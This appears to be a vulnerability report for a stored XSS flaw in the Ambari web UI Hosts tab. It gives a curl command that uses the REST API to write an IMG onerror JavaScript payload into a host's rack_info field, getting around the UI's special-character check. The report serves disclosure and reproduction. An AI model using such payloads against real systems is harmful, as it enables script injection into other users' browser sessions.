Problem Statement : Ambari-Web UI hosts Tab is vulnerable to XSS attack

Issue reproduction : 

1) Execute the Following CURL command to edit the Rack INFO . 


{code:java}
curl -u admin:admin -H "X-Requested-By:ambari" -i -X PUT http://ambari-server:8080/api/v1/clusters/asnaik/hosts -d '{"RequestInfo":{"context":"Set Rack","query":"Hosts/host_name.in(abc.openstacklocal)"},"Body":{"Hosts":{"rack_info":"/default-rack/<IMG SRC='x' onerror=javascript:alert(domain);>"}}}'
{code}

where abc.openstacklocal is the host i want to change the rack info
(please note <IMG SRC='x' onerror=javascript:alert(domain);> we cannot add in UI via edit rack_info as in UI we checks for special characters)


Login to Ambari-UI -> navigate to Hosts and go to host : abc.openstacklocal

XSS will be injected to DOM and following Alert will be displayed.
